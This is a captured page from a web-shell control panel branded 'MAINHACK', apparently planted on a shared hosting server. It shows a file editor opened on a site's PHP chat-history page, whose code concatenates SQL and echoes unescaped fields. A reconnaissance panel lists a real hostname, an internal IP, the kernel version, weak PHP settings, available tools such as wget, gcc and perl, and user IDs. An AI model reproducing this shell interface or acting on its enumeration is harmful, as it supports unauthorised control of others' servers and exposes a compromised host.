[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: all_request_apartment.php
<?php include('header.php'); $show=new Oops($db); ?> <script src="jquery-1.11.1.min.js"></script> <!-- Inner-banner --> <div class="inner-banner"> <img src="images/inner-banner-2.png"> <div class="container"> <h1>Chat History</h1> </div> </div> <div class="card-block-box"> <div class="container"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-body"> <div class="table-responsive"> <table id="basic-datatables" class="display table table-striped table-hover"> <thead> <tr> <th>Date</th> <th>Chat Details</th> <th>Action</th> </tr> </thead> <tbody> <?php $date=date('Y-m-d',strtotime('+30 days')); $today=date('Y-m-d'); $sq="select * from chat where rid='".$_SESSION['login_id']."' order by id desc"; //echo $sq; $s=$con->prepare($sq); $s->execute(); $num=$s->rowCount(); if($num>0){ $count=1; while ($row = $s->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; //echo $id; $sq1=$show->readwithdata('user','user_id',$row['chat_id1']); while ($row11 = $sq1->fetch(PDO::FETCH_ASSOC)){ echo "<tr> <td>".date('d-m-Y',strtotime($row['created_on']))."</td> <td>Connected by : ".$row11['name']."<br> <td> <a href='chat_apartment.php?id=".$row['rid']."&ch=".$chat_id1."'>Open Chat</a> </td> </tr>"; } ++$count; } } ?> </tbody></table> </div> </div> </div> </div> </div> </div> </div> <?php include'footer.php';?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619